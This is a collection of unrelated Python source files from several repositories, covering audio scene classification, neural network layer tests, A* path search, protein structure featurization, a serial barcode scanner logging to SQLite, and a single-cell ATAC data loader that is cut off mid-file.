XVectorCloud( sk1.points, 10, 20 ) print(f'build first vector cloud takes {time()-start} secs.') start = time() vc2 = XVectorCloud( sk2.points, 10, 20 ) print(f'build second vector cloud takes {time()-start} secs.') print('computing nblast score') score12 = vc1.query_by( vc2, st ) print(f'query {neuronId2} against target {neuronId1} nblast score: ', score12, 'with time elapse: ', time()-start, ' sec') assert isclose( score12, 53696.72, rel_tol = 1e-3) start = time() score21 = vc2.query_by( vc1, st ) print(f'query {neuronId1} against target {neuronId2} nblast score: ', score21, 'with time elapse: ', time()-start, ' sec') print('as a reference, Julia NBLAST takes about 0.030 sec.') assert isclose( score21, 50891.03, rel_tol = 1e-3) vcs = [ vc1, vc2 ] score_matrix = XNBLASTScoreMatrix(vcs, st) raw_score_matrix = score_matrix.raw_score_matrix r_raw_score_matrix = np.asarray([[86501.20, 53696.72], [50891.03, 101011.08]]) np.testing.assert_allclose( raw_score_matrix, r_raw_score_matrix, rtol=1e-3 ) print('raw scores: ', score_matrix.raw_score_matrix) if __name__ == '__main__': test_nblast_score_table() test_nblast_with_fake_data() test_nblast_with_real_data() ```
{ "source": "Jingqiao-Zhao/DCASE2020-Task1-SubtaskB", "score": 3 }
#### File: Jingqiao-Zhao/DCASE2020-Task1-SubtaskB/evaluate.py ```python import seaborn as sns from sklearn.metrics import confusion_matrix import matplotlib.pyplot as plt import config import torch import numpy as np def accuracy(predictions, labels): pred = torch.max(predictions, 1)[1] rights = pred.eq(labels.data.view_as(pred)).sum() return rights, len(labels) def evaluate_data(net,data,device): net.eval() val_rights = [] outputs = [] targets = [] with torch.no_grad(): for (data, target) in data: data = data.to(device) target = target.to(device) targets.append(target.cpu().numpy()) output = net(data) pred = torch.max(output, 1)[1] outputs.append(pred.cpu().numpy()) right = accuracy(output, target) val_rights.append(right) val_r = (sum([tup[0] for tup in val_rights]), sum([tup[1] for tup in val_rights])) label = config.labels list_targets = [y for x in targets for y in x] list_outputs = [y for x in outputs for y in x] sns.set() f, ax = plt.subplots() C2 = confusion_matrix(np.array(list_targets), np.array(list_outputs)) for i in range(len(label)): print(label[i], '{:.2f}%'.format(C2[i][i] / np.sum(C2[i]) * 100)) print('Average accuracy{:.2f}%'.format(100 * val_r[0].cpu().numpy() / val_r[1])) print(C2) sns.heatmap(C2, annot=True, ax=ax, fmt='.20g') ax.set_title('Confusion matrix') # ax.set_xlabel('Predict\nIndoor, Outdoor, Transport') ax.set_ylabel('True\nIndoor, Outdoor, Transport') plt.savefig('confusion matrix.pdf') ``` #### File: Jingqiao-Zhao/DCASE2020-Task1-SubtaskB/feature.py ```python import pandas as pd import numpy as np import librosa import os import time import sys import config from utilities import spec_augment_pytorch import matplotlib.pyplot as plt import pickle import torch def pad_truncate_sequence(x, max_len): if len(x) < max_len: return np.concatenate((x, np.zeros(max_len - len(x)))) else: return x[0 : max_len] def get_csv(csv_path): data = pd.read_csv(csv_path,sep='\t') data_dict={} for i in range(len(data['filename'])): data_dict[data['filename'][i]]=data['scene_label'][i] return data_dict def read_audio(audio_path, target_fs=None): (audio, fs) = librosa.load(audio_path) if audio.ndim > 1: audio = np.mean(audio, axis=1) if target_fs is not None and fs != target_fs: audio = librosa.resample(audio, orig_sr=fs, target_sr=target_fs) fs = target_fs return audio, fs def calculate_feature_for_all_audio_files(csv_path,file_name): sample_rate = config.sample_rate window_size = config.window_size hop_size = config.hop_size mel_bins = config.mel_bins fmin = config.fmin fmax = config.fmax frames_per_second = config.frames_per_second frames_num = config.frames_num total_samples = config.total_samples path = config.path # Read metadata csv_dict = get_csv(csv_path) i = 0 n = len(csv_dict.keys()) print('Find %d Audio in Csv_File' % n) # creat feature_dict feature_data = np.ndarray([n, frames_num, mel_bins]) feature_dict = {} # Extract features and targets 提取相关特征以及目标 for key, value in csv_dict.items(): audio_path = os.path.join(path, key) # Read audio (audio, _) = read_audio( audio_path=audio_path, target_fs=sample_rate) # Pad or truncate audio recording to the same length audio = pad_truncate_sequence(audio, total_samples) # Extract feature # feature = feature_extractor.transform(audio) mel_spectrogram = librosa.feature.melspectrogram(y=audio, sr=sample_rate, n_fft=2048, n_mels=mel_bins, win_length=window_size, hop_length=hop_size, fmax=fmax) shape = mel_spectrogram.shape mel_spectrogram = np.reshape(mel_spectrogram, (-1, shape[0], shape[1])) mel_spectrogram = torch.from_numpy(mel_spectrogram) warped_masked_spectrogram = spec_augment_pytorch.spec_augment(mel_spectrogram=mel_spectrogram) warped_masked_spectrogram_numpy = warped_masked_spectrogram[0].numpy().transpose() # Remove the extra log mel spectrogram frames caused by padding zero feature = warped_masked_spectrogram_numpy feature = feature[0: frames_num] feature_data[i] = feature i += 1 print("\r", end="") print("Feature extraction progress: {}%: ".format(round(float(i * 100 / n), 3)), "▋" * int((i // (n / 20))), end="") sys.stdout.flush() time.sleep(0.5) print('\n----------------------------------------------------------------------------') print('Feature extraction completed.', '\nStart building a feature dictionary.') feature_dict['audio_name'] = list(csv_dict.keys()) feature_dict['label'] = list(csv_dict.values()) feature_dict['feature'] = feature_data print('Feature dictionary establishment complete.') output = open('{}_feature_dict.pkl'.format(file_name), 'wb') pickle.dump(feature_dict, output) print('Feature_dict has been save as {}_feature_dict.pkl'.format(file_name)) return feature_dict train = calculate_feature_for_all_audio_files(os.path.join(config.path,'evaluation_setup\\fold1_train.csv'),file_name='Train') test = calculate_feature_for_all_audio_files(os.path.join(config.path,'evaluation_setup\\fold1_evaluate.csv'),file_name='Test') ```
{ "source": "JingqingZ/tensorlayer2", "score": 3 }
#### File: tests/layers/test_layers_merge.py ```python import os import unittest os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' import numpy as np import tensorflow as tf import tensorlayer as tl from tests.utils import CustomTestCase class Layer_Merge_Test(CustomTestCase): @classmethod def setUpClass(cls): pass @classmethod def tearDownClass(cls): pass def test_concat(self): class CustomModel(tl.models.Model): def __init__(self): super(CustomModel, self).__init__(name="custom") self.dense1 = tl.layers.Dense(in_channels=20, n_units=10, act=tf.nn.relu, name='relu1_1') self.dense2 = tl.layers.Dense(in_channels=20, n_units=10, act=tf.nn.relu, name='relu2_1') self.concat = tl.layers.Concat(concat_dim=1, name='concat_layer') def forward(self, inputs): d1 = self.dense1(inputs) d2 = self.dense2(inputs) outputs = self.concat([d1, d2]) return outputs model = CustomModel() model.train() inputs = tf.convert_to_tensor(np.random.random([4, 20]).astype(np.float32)) outputs = model(inputs) print(model) self.assertEqual(outputs.get_shape().as_list(), [4, 20]) def test_elementwise(self): class CustomModel(tl.models.Model): def __init__(self): super(CustomModel, self).__init__(name="custom") self.dense1 = tl.layers.Dense(in_channels=20, n_units=10, act=tf.nn.relu, name='relu1_1') self.dense2 = tl.layers.Dense(in_channels=20, n_units=10, act=tf.nn.relu, name='relu2_1') self.element = tl.layers.Elementwise(combine_fn=tf.minimum, name='minimum', act=tf.identity) def forward(self, inputs): d1 = self.dense1(inputs) d2 = self.dense2(inputs) outputs = self.element([d1, d2]) return outputs, d1, d2 model = CustomModel() model.train() inputs = tf.convert_to_tensor(np.random.random([4, 20]).astype(np.float32)) outputs, d1, d2 = model(inputs) print(model) min = tf.minimum(d1, d2) self.assertEqual(outputs.get_shape().as_list(), [4, 10]) self.assertTrue(np.array_equal(min.numpy(), outputs.numpy())) if __name__ == '__main__': unittest.main() ```
{ "source": "jingr1/SelfDrivingCar", "score": 4 }
#### File: SelfDrivingCar/AStarSearch/student_code.py ```python import math def dist_between(start,end): return math.sqrt(pow((start[0]-end[0]),2)+pow((start[1]-end[1]),2)) def get_best_f_score(input_set,scoredict): idx = input_set.pop() input_set.add(idx) best = idx bv = scoredict[idx] for idx in input_set: if scoredict[idx] < bv: best = idx bv = scoredict[idx] return best def reconstruct_path(start_node,came_from, current_node): p = [current_node] while current_node != start_node: current_node = came_from[current_node] p.append(current_node) return p[::-1] def shortest_path(M,start,goal): print("shortest path called") intersections = M.intersections roads = M.roads frontierset = set([start]) explorededset = set() came_from = {} g_score = {} h_score = {} f_score = {} g_score[start] = 0 h_score[start] = dist_between(intersections[start],intersections[goal]) f_score[start] = g_score[start] + h_score[start] while frontierset: currentintersection = get_best_f_score(frontierset,f_score) frontierset.remove(currentintersection) explorededset.add(currentintersection) neighborsets = set(roads[currentintersection]) if currentintersection == goal: return reconstruct_path(start,came_from, goal) else: for neighbor in neighborsets: if neighbor not in explorededset: tentative_g_score = g_score[currentintersection] + dist_between(intersections[currentintersection],intersections[neighbor]) if neighbor not in frontierset: frontierset.add(neighbor) h_score[neighbor] = dist_between(intersections[neighbor],intersections[goal]) tentative_is_better = True elif (tentative_g_score < g_score[neighbor]): tentative_is_better = True else: tentative_is_better = False if tentative_is_better == True: came_from[neighbor] = currentintersection g_score[neighbor] = tentative_g_score f_score[neighbor] = g_score[neighbor] + h_score[neighbor] print('can not find the shortest path') ``` #### File: jingr1/SelfDrivingCar/gaussian.py ```python class Gaussian(): def __init__(self, mean, variance): self.mu = mean self.sigma2 = variance def evaluate(self, x): coefficient = 1.0 / sqrt(2.0 * pi *self.sigma2) exponential = exp(-0.5 * (x-self.mu) ** 2 / self.sigma2) return coefficient * exponential def multiply(self, other): # calculate new mean denominator = self.sigma2 + other.sigma2 numerator = self.mu * other.sigma2 + other.mu * self.sigma2 new_mu = numerator / denominator # calcuate new variance new_var = 1.0 / ( (1.0 / self.sigma2) + (1.0 / other.sigma2) ) # generate new gaussian return Gaussian(new_mu, new_var) def add(self, other): new_mu = self.mu + other.mu new_sigma2 = self.sigma2 + other.sigma2 return Gaussian(new_mu, new_sigma2) ``` #### File: jingr1/SelfDrivingCar/overloadingoprator.py ```python import matplotlib.pyplot as plt ''' The color class creates a color from 3 values, r, g, and b (red, green, and blue). attributes: r - a value between 0-255 for red g - a value between 0-255 for green b - a value between 0-255 for blue ''' class Color(object): # Initializes a color with rgb values def __init__(self, r, g, b): self.r = r self.g = g self.b = b # Called when a Color object is printed out def __repr__(self): '''Display a color swatch and returns a text description of r,g,b values''' plt.imshow([[(self.r/255, self.g/255, self.b/255)]]) return 'r, g, b = ' + str(self.r) + ', ' + str(self.g) + ', ' + str(self.b) ## TODO: Complete this add function to add two colors together def __add__(self, other): '''Adds the r, g, and b components of each color together and averaging them. The new Color object, with these averaged rgb values, is returned.''' self.r = (self.r+other.r)/2 self.g = (self.g+other.g)/2 self.b = (self.b+other.b)/2 return self color1 = color.Color(250, 0, 0) print(color1) color2 = color.Color(0, 50, 200) print(color2) new_color = color1 + color2 print(new_color) ```
{ "source": "jingraham/struct2seq", "score": 2 }
#### File: struct2seq/struct2seq/protein_features.py ```python from __future__ import print_function import torch import torch.nn as nn import torch.nn.functional as F import numpy as np import copy from matplotlib import pyplot as plt from .self_attention import gather_edges, gather_nodes, Normalize class PositionalEncodings(nn.Module): def __init__(self, num_embeddings, period_range=[2,1000]): super(PositionalEncodings, self).__init__() self.num_embeddings = num_embeddings self.period_range = period_range def forward(self, E_idx): # i-j N_batch = E_idx.size(0) N_nodes = E_idx.size(1) N_neighbors = E_idx.size(2) ii = torch.arange(N_nodes, dtype=torch.float32).view((1, -1, 1)) d = (E_idx.float() - ii).unsqueeze(-1) # Original Transformer frequencies frequency = torch.exp( torch.arange(0, self.num_embeddings, 2, dtype=torch.float32) * -(np.log(10000.0) / self.num_embeddings) ) # Grid-aligned # frequency = 2. * np.pi * torch.exp( # -torch.linspace( # np.log(self.period_range[0]), # np.log(self.period_range[1]), # self.num_embeddings / 2 # ) # ) angles = d * frequency.view((1,1,1,-1)) E = torch.cat((torch.cos(angles), torch.sin(angles)), -1) return E class ProteinFeatures(nn.Module): def __init__(self, edge_features, node_features, num_positional_embeddings=16, num_rbf=16, top_k=30, features_type='full', augment_eps=0., dropout=0.1): """ Extract protein features """ super(ProteinFeatures, self).__init__() self.edge_features = edge_features self.node_features = node_features self.top_k = top_k self.augment_eps = augment_eps self.num_rbf = num_rbf self.num_positional_embeddings = num_positional_embeddings # Feature types self.features_type = features_type self.feature_dimensions = { 'coarse': (3, num_positional_embeddings + num_rbf + 7), 'full': (6, num_positional_embeddings + num_rbf + 7), 'dist': (6, num_positional_embeddings + num_rbf), 'hbonds': (3, 2 * num_positional_embeddings), } # Positional encoding self.embeddings = PositionalEncodings(num_positional_embeddings) self.dropout = nn.Dropout(dropout) # Normalization and embedding node_in, edge_in = self.feature_dimensions[features_type] self.node_embedding = nn.Linear(node_in, node_features, bias=True) self.edge_embedding = nn.Linear(edge_in, edge_features, bias=True) self.norm_nodes = Normalize(node_features) self.norm_edges = Normalize(edge_features) def _dist(self, X, mask, eps=1E-6): """ Pairwise euclidean distances """ # Convolutional network on NCHW mask_2D = torch.unsqueeze(mask,1) * torch.unsqueeze(mask,2) dX = torch.unsqueeze(X,1) - torch.unsqueeze(X,2) D = mask_2D * torch.sqrt(torch.sum(dX**2, 3) + eps) # Identify k nearest neighbors (including self) D_max, _ = torch.max(D, -1, keepdim=True) D_adjust = D + (1. - mask_2D) * D_max D_neighbors, E_idx = torch.topk(D_adjust, self.top_k, dim=-1, largest=False) mask_neighbors = gather_edges(mask_2D.unsqueeze(-1), E_idx) # Debug plot KNN # print(E_idx[:10,:10]) # D_simple = mask_2D * torch.zeros(D.size()).scatter(-1, E_idx, torch.ones_like(knn_D)) # print(D_simple) # fig = plt.figure(figsize=(4,4)) # ax = fig.add_subplot(111) # D_simple = D.data.numpy()[0,:,:] # plt.imshow(D_simple, aspect='equal') # plt.axis('off') # plt.tight_layout() # plt.savefig('D_knn.pdf') # exit(0) return D_neighbors, E_idx, mask_neighbors def _rbf(self, D): # Distance radial basis function D_min, D_max, D_count = 0., 20., self.num_rbf D_mu = torch.linspace(D_min, D_max, D_count) D_mu = D_mu.view([1,1,1,-1]) D_sigma = (D_max - D_min) / D_count D_expand = torch.unsqueeze(D, -1) RBF = torch.exp(-((D_expand - D_mu) / D_sigma)**2) # for i in range(D_count): # fig = plt.figure(figsize=(4,4)) # ax = fig.add_subplot(111) # rbf_i = RBF.data.numpy()[0,i,:,:] # # rbf_i = D.data.numpy()[0,0,:,:] # plt.imshow(rbf_i, aspect='equal') # plt.axis('off') # plt.tight_layout() # plt.savefig('rbf{}.pdf'.format(i)) # print(np.min(rbf_i), np.max(rbf_i), np.mean(rbf_i)) # exit(0) return RBF def _quaternions(self, R): """ Convert a batch of 3D rotations [R] to quaternions [Q] R [...,3,3] Q [...,4] """ # Simple Wikipedia version # en.wikipedia.org/wiki/Rotation_matrix#Quaternion # For other options see math.stackexchange.com/questions/2074316/calculating-rotation-axis-from-rotation-matrix diag = torch.diagonal(R, dim1=-2, dim2=-1) Rxx, Ryy, Rzz = diag.unbind(-1) magnitudes = 0.5 * torch.sqrt(torch.abs(1 + torch.stack([ Rxx - Ryy - Rzz, - Rxx + Ryy - Rzz, - Rxx - Ryy + Rzz ], -1))) _R = lambda i,j: R[:,:,:,i,j] signs = torch.sign(torch.stack([ _R(2,1) - _R(1,2), _R(0,2) - _R(2,0), _R(1,0) - _R(0,1) ], -1)) xyz = signs * magnitudes # The relu enforces a non-negative trace w = torch.sqrt(F.relu(1 + diag.sum(-1, keepdim=True))) / 2. Q = torch.cat((xyz, w), -1) Q = F.normalize(Q, dim=-1) # Axis of rotation # Replace bad rotation matrices with identity # I = torch.eye(3).view((1,1,1,3,3)) # I = I.expand(*(list(R.shape[:3]) + [-1,-1])) # det = ( # R[:,:,:,0,0] * (R[:,:,:,1,1] * R[:,:,:,2,2] - R[:,:,:,1,2] * R[:,:,:,2,1]) # - R[:,:,:,0,1] * (R[:,:,:,1,0] * R[:,:,:,2,2] - R[:,:,:,1,2] * R[:,:,:,2,0]) # + R[:,:,:,0,2] * (R[:,:,:,1,0] * R[:,:,:,2,1] - R[:,:,:,1,1] * R[:,:,:,2,0]) # ) # det_mask = torch.abs(det.unsqueeze(-1).unsqueeze(-1)) # R = det_mask * R + (1 - det_mask) * I # DEBUG # https://math.stackexchange.com/questions/2074316/calculating-rotation-axis-from-rotation-matrix # Columns of this are in rotation plane # A = R - I # v1, v2 = A[:,:,:,:,0], A[:,:,:,:,1] # axis = F.normalize(torch.cross(v1, v2), dim=-1) return Q def _contacts(self, D_neighbors, E_idx, mask_neighbors, cutoff=8): """ Contacts """ D_neighbors = D_neighbors.unsqueeze(-1) neighbor_C = mask_neighbors * (D_neighbors < cutoff).type(torch.float32) return neighbor_C def _hbonds(self, X, E_idx, mask_neighbors, eps=1E-3): """ Hydrogen bonds and contact map """ X_atoms = dict(zip(['N', 'CA', 'C', 'O'], torch.unbind(X, 2))) # Virtual hydrogens X_atoms['C_prev'] = F.pad(X_atoms['C'][:,1:,:], (0,0,0,1), 'constant', 0) X_atoms['H'] = X_atoms['N'] + F.normalize( F.normalize(X_atoms['N'] - X_atoms['C_prev'], -1) + F.normalize(X_atoms['N'] - X_atoms['CA'], -1) , -1) def _distance(X_a, X_b): return torch.norm(X_a[:,None,:,:] - X_b[:,:,None,:], dim=-1) def _inv_distance(X_a, X_b): return 1. / (_distance(X_a, X_b) + eps) # DSSP vacuum electrostatics model U = (0.084 * 332) * ( _inv_distance(X_atoms['O'], X_atoms['N']) + _inv_distance(X_atoms['C'], X_atoms['H']) - _inv_distance(X_atoms['O'], X_atoms['H']) - _inv_distance(X_atoms['C'], X_atoms['N']) ) HB = (U < -0.5).type(torch.float32) neighbor_HB = mask_neighbors * gather_edges(HB.unsqueeze(-1), E_idx) # print(HB) # HB = F.sigmoid(U) # U_np = U.cpu().data.numpy() # # plt.matshow(np.mean(U_np < -0.5, axis=0)) # plt.matshow(HB[0,:,:]) # plt.colorbar() # plt.show() # D_CA = _distance(X_atoms['CA'], X_atoms['CA']) # D_CA = D_CA.cpu().data.numpy() # plt.matshow(D_CA[0,:,:] < contact_D) # # plt.colorbar() # plt.show() # exit(0) return neighbor_HB def _orientations_coarse(self, X, E_idx, eps=1e-6): # Pair features # Shifted slices of unit vectors dX = X[:,1:,:] - X[:,:-1,:] U = F.normalize(dX, dim=-1) u_2 = U[:,:-2,:] u_1 = U[:,1:-1,:] u_0 = U[:,2:,:] # Backbone normals n_2 = F.normalize(torch.cross(u_2, u_1), dim=-1) n_1 = F.normalize(torch.cross(u_1, u_0), dim=-1) # Bond angle calculation cosA = -(u_1 * u_0).sum(-1) cosA = torch.clamp(cosA, -1+eps, 1-eps) A = torch.acos(cosA) # Angle between normals cosD = (n_2 * n_1).sum(-1) cosD = torch.clamp(cosD, -1+eps, 1-eps) D = torch.sign((u_2 * n_1).sum(-1)) * torch.acos(cosD) # Backbone features AD_features = torch.stack((torch.cos(A), torch.sin(A) * torch.cos(D), torch.sin(A) * torch.sin(D)), 2) AD_features = F.pad(AD_features, (0,0,1,2), 'constant', 0) # Build relative orientations o_1 = F.normalize(u_2 - u_1, dim=-1) O = torch.stack((o_1, n_2, torch.cross(o_1, n_2)), 2) O = O.view(list(O.shape[:2]) + [9]) O = F.pad(O, (0,0,1,2), 'constant', 0) # DEBUG: Viz [dense] pairwise orientations # O = O.view(list(O.shape[:2]) + [3,3]) # dX = X.unsqueeze(2) - X.unsqueeze(1) # dU = torch.matmul(O.unsqueeze(2), dX.unsqueeze(-1)).squeeze(-1) # dU = dU / torch.norm(dU, dim=-1, keepdim=True) # dU = (dU + 1.) / 2. # plt.imshow(dU.data.numpy()[0]) # plt.show() # print(dX.size(), O.size(), dU.size()) # exit(0) O_neighbors = gather_nodes(O, E_idx) X_neighbors = gather_nodes(X, E_idx) # Re-view as rotation matrices O = O.view(list(O.shape[:2]) + [3,3]) O_neighbors = O_neighbors.view(list(O_neighbors.shape[:3]) + [3,3]) # Rotate into local reference frames dX = X_neighbors - X.unsqueeze(-2) dU = torch.matmul(O.unsqueeze(2), dX.unsqueeze(-1)).squeeze(-1) dU = F.normalize(dU, dim=-1) R = torch.matmul(O.unsqueeze(2).transpose(-1,-2), O_neighbors) Q = self._quaternions(R) # Orientation features O_features = torch.cat((dU,Q), dim=-1) # DEBUG: Viz pairwise orientations # IMG = Q[:,:,:,:3] # # IMG = dU # dU_full = torch.zeros(X.shape[0], X.shape[1], X.shape[1], 3).scatter( # 2, E_idx.unsqueeze(-1).expand(-1,-1,-1,3), IMG # ) # print(dU_full) # dU_full = (dU_full + 1.) / 2. # plt.imshow(dU_full.data.numpy()[0]) # plt.show() # exit(0) # print(Q.sum(), dU.sum(), R.sum()) return AD_features, O_features def _dihedrals(self, X, eps=1e-7): # First 3 coordinates are N, CA, C X = X[:,:,:3,:].reshape(X.shape[0], 3*X.shape[1], 3) # Shifted slices of unit vectors dX = X[:,1:,:] - X[:,:-1,:] U = F.normalize(dX, dim=-1) u_2 = U[:,:-2,:] u_1 = U[:,1:-1,:] u_0 = U[:,2:,:] # Backbone normals n_2 = F.normalize(torch.cross(u_2, u_1), dim=-1) n_1 = F.normalize(torch.cross(u_1, u_0), dim=-1) # Angle between normals cosD = (n_2 * n_1).sum(-1) cosD = torch.clamp(cosD, -1+eps, 1-eps) D = torch.sign((u_2 * n_1).sum(-1)) * torch.acos(cosD) # This scheme will remove phi[0], psi[-1], omega[-1] D = F.pad(D, (1,2), 'constant', 0) D = D.view((D.size(0), int(D.size(1)/3), 3)) phi, psi, omega = torch.unbind(D,-1) # print(cosD.cpu().data.numpy().flatten()) # print(omega.sum().cpu().data.numpy().flatten()) # Bond angle calculation # A = torch.acos(-(u_1 * u_0).sum(-1)) # DEBUG: Ramachandran plot # x = phi.cpu().data.numpy().flatten() # y = psi.cpu().data.numpy().flatten() # plt.scatter(x * 180 / np.pi, y * 180 / np.pi, s=1, marker='.') # plt.xlabel('phi') # plt.ylabel('psi') # plt.axis('square') # plt.grid() # plt.axis([-180,180,-180,180]) # plt.show() # Lift angle representations to the circle D_features = torch.cat((torch.cos(D), torch.sin(D)), 2) return D_features def forward(self, X, L, mask): """ Featurize coordinates as an attributed graph """ # Data augmentation if self.training and self.augment_eps > 0: X = X + self.augment_eps * torch.randn_like(X) # Build k-Nearest Neighbors graph X_ca = X[:,:,1,:] D_neighbors, E_idx, mask_neighbors = self._dist(X_ca, mask) # Pairwise features AD_features, O_features = self._orientations_coarse(X_ca, E_idx) RBF = self._rbf(D_neighbors) # Pairwise embeddings E_positional = self.embeddings(E_idx) if self.features_type == 'coarse': # Coarse backbone features V = AD_features E = torch.cat((E_positional, RBF, O_features), -1) elif self.features_type == 'hbonds': # Hydrogen bonds and contacts neighbor_HB = self._hbonds(X, E_idx, mask_neighbors) neighbor_C = self._contacts(D_neighbors, E_idx, mask_neighbors) # Dropout neighbor_C = self.dropout(neighbor_C) neighbor_HB = self.dropout(neighbor_HB) # Pack V = mask.unsqueeze(-1) * torch.ones_like(AD_features) neighbor_C = neighbor_C.expand(-1,-1,-1, int(self.num_positional_embeddings / 2)) neighbor_HB = neighbor_HB.expand(-1,-1,-1, int(self.num_positional_embeddings / 2)) E = torch.cat((E_positional, neighbor_C, neighbor_HB), -1) elif self.features_type == 'full': # Full backbone angles V = self._dihedrals(X) E = torch.cat((E_positional, RBF, O_features), -1) elif self.features_type == 'dist': # Full backbone angles V = self._dihedrals(X) E = torch.cat((E_positional, RBF), -1) # Embed the nodes V = self.node_embedding(V) V = self.norm_nodes(V) E = self.edge_embedding(E) E = self.norm_edges(E) # DEBUG # U = (np.nan * torch.zeros(X.size(0),X.size(1),X.size(1),3)).scatter(2, E_idx.unsqueeze(-1).expand(-1,-1,-1,3), E[:,:,:,:3]) # plt.imshow(U.data.numpy()[0,:,:,0]) # plt.show() # exit(0) return V, E, E_idx ```
{ "source": "JingruiWang/package_scan", "score": 2 }
#### File: package_scan/program/scan_pack.py ```python import wx import wx.xrc import sqlite3 import string import time import uuid from serial import Serial from wx.lib.pubsub import Publisher import threading g_conn = None cur = None barcode = None userid = '0' def OpenDB(): global g_conn, cur g_conn=sqlite3.connect("/home/pi/packdb.db") def CloseDB(): global g_conn g_conn.close() def InsDB(sql): cur = g_conn.cursor() cur.execute(sql) cur.close() g_conn.commit() # this is db is difference another jhdb def If_bar(uid,barcode_no): guid = uuid.uuid4() sql_ins = "insert into pack_sc(guid,userid,barcode,crdate) values('%s','%s','%s',datetime('now','localtime'));" %(guid,uid,barcode_no) InsDB(sql_ins) def No_bar(not_barcode): sql_ins_nobar = "insert into pack_bad(barcode,crdate) values('%s',datetime('now','localtime'));" %(not_barcode) InsDB(sql_ins_nobar) class MyFrame1 ( wx.Frame ): def __init__( self, parent ): wx.Frame.__init__ ( self, parent, id = wx.ID_ANY, title = u'包装箱扫描程序', pos = wx.DefaultPosition, size = wx.Size( 320,240 ), style = wx.DEFAULT_FRAME_STYLE|wx.MAXIMIZE|wx.TAB_TRAVERSAL ) self.SetSizeHintsSz( wx.DefaultSize, wx.DefaultSize ) bSizer1 = wx.BoxSizer( wx.HORIZONTAL ) sbSizer1 = wx.StaticBoxSizer( wx.StaticBox( self, wx.ID_ANY, u"left" ), wx.VERTICAL ) sbSizer1.SetMinSize( wx.Size( 100,185 ) ) bSizer2 = wx.BoxSizer( wx.HORIZONTAL ) id_lsChoices = [] self.id_ls = wx.ListBox( self, wx.ID_ANY, wx.DefaultPosition, wx.Size( 57,170 ), id_lsChoices, 0 ) bSizer2.Add( self.id_ls, 0, 0, 5 ) num_lsChoices = [] self.num_ls = wx.ListBox( self, wx.ID_ANY, wx.DefaultPosition, wx.Size( 43,170 ), num_lsChoices, 0 ) bSizer2.Add( self.num_ls, 0, 0, 5 ) sbSizer1.Add( bSizer2, 1, wx.EXPAND, 5 ) bSizer1.Add( sbSizer1, 0, 0, 5 ) sbSizer2 = wx.StaticBoxSizer( wx.StaticBox( self, wx.ID_ANY, u"right" ), wx.VERTICAL ) bSizer3 = wx.BoxSizer( wx.HORIZONTAL ) all_lsChoices = [] self.all_ls = wx.ListBox( self, wx.ID_ANY, wx.DefaultPosition, wx.Size( -1,-1 ), all_lsChoices, 0 ) bSizer3.Add( self.all_ls, 1, wx.EXPAND, 5 ) sbSizer2.Add( bSizer3, 1, wx.EXPAND, 5 ) bSizer1.Add( sbSizer2, 1, wx.EXPAND, 5 ) self.SetSizer( bSizer1 ) self.Layout() self.Centre( wx.BOTH ) def __del__( self ): pass class SerialFrame(MyFrame1): def __init__(self,parent=None): super(SerialFrame,self).__init__(parent) self.Ser = Serial('/dev/ttyUSB0',9600) if not self.Ser.isOpen(): self.Ser.open() self.serialThread = SerialThread(self.Ser) #create a pubsub receiver Publisher().subscribe(self.on_txtMain_update,'update') def on_txtMain_update(self, msg): global userid,barcode barcode = msg.data.strip('\n\r') if barcode.__len__() == 5: userid = barcode return #if barcode.__len__() != 16: # return if not barcode.isdigit(): No_bar(barcode) return f=self.id_ls.FindString(userid) if f == -1: self.id_ls.Append(userid) self.num_ls.Append(str(1)) else: i=self.num_ls.GetString(f) self.num_ls.SetString(f,str(string.atoi(i)+1)) self.all_ls.Append(userid+' '+barcode) If_bar(userid,barcode) class SerialThread(threading.Thread): def __init__(self,Ser): super(SerialThread,self).__init__() self.Ser=Ser self.setDaemon(True) self.start() def run(self): while True: if self.Ser.isOpen() and self.Ser.inWaiting(): text = self.Ser.readline(self.Ser.inWaiting()) wx.CallAfter(Publisher().sendMessage,'update',text) time.sleep(0.01) if __name__ == "__main__": try: OpenDB() app = wx.App() forms = SerialFrame(None) forms.Show(True) app.MainLoop() except Exception, e: print e finally: CloseDB() ```
{ "source": "jingry/scATACCharacterization", "score": 2 }
#### File: jingry/scATACCharacterization/AE.py ```python import torch from torch.utils.data import Dataset from sklearn.preprocessing import MaxAbsScaler from torch.utils.data import DataLoader import os import numpy as np import pandas as pd import scipy from glob import glob from scipy.io import mmread from sklearn.preprocessing import LabelEncoder import time from torchvision import transforms, datasets from torch import nn, optim from torch.nn import init from tqdm import trange class SingleCellDataset(Dataset): def __init__(self, path, low = 0, high = 0.9, min_peaks = 0, transpose = False, transforms=[]): self.data, self.peaks, self.barcode = load_data(path, transpose) if min_peaks > 0: self.filter_cell(min_peaks) self.filter_peak(low, high) for transform in transforms: self.data = transform(self.data) self.n_cells, self.n_peaks = self.data.shape self.shape = self.data.shape def __len__(self): return self.data.shape[0] def __getitem__(self, index): data = self.data[index]; if type(data) is not np.ndarray: data = data.toarray().squeeze() return data def info(self): print("Dataset Info") print('Cell number: {}\nPeak number: {}'.format(self.n_cells, self.n_peaks)) def filter_peak(self, low=0, high=0.9): total_cells = self.data.shape[0] count = np.array((self.data >0).sum(0)).squeeze() indices = np.where((count > low*total_cells) & (count < high*total_cells))[0] self.data = self.data[:, indices] self.peaks = self.peaks[indices] print('filterpeak------') def filter_cell(self, min_peaks=0): if min_peaks < 1: min_peaks = len(self.peaks)*min_peaks indices = np.where(np.sum(self.data>0, 1)>=min_peaks)[0] self.data = self.data[indices] self.barcode = self.barcode[indices] p = type(self.barcode) print('filtercell------') print(p) def write_data(self,path): print('tmp dataset saving') data_ = self.data data1 = data_.todense() data =data1.T #print(type(data)) recon_x = pd.DataFrame(data, index=self.peaks, columns=self.barcode) recon_x.to_csv(os.path.join(path, 'tmp_data.txt'), sep='\t') def load_data(path, transpose=False): print("Loading data ...") t0 = time.time() if os.path.isdir(path): count, peaks, barcode = read_mtx(path) elif os.path.isfile(path): count, peaks, barcode = read_csv(path) else: raise ValueError("File {} not exists".format(path)) if transpose: count = count.transpose() print('Original data contains {} cells x {} peaks'.format(*count.shape)) assert (len(barcode), len(peaks)) == count.shape print("Finished loading takes {:.2f} min".format((time.time()-t0)/60)) return count, peaks, barcode def read_mtx(path): for filename in glob(path+'/*'): basename = os.path.basename(filename) if (('count' in basename) or ('matrix' in basename)) and ('mtx' in basename): count = mmread(filename).T.tocsr().astype('float32') elif 'barcode' in basename: barcode = pd.read_csv(filename, sep='\t', header=None)[0].values elif 'gene' in basename or 'peak' in basename: feature = pd.read_csv(filename, sep='\t', 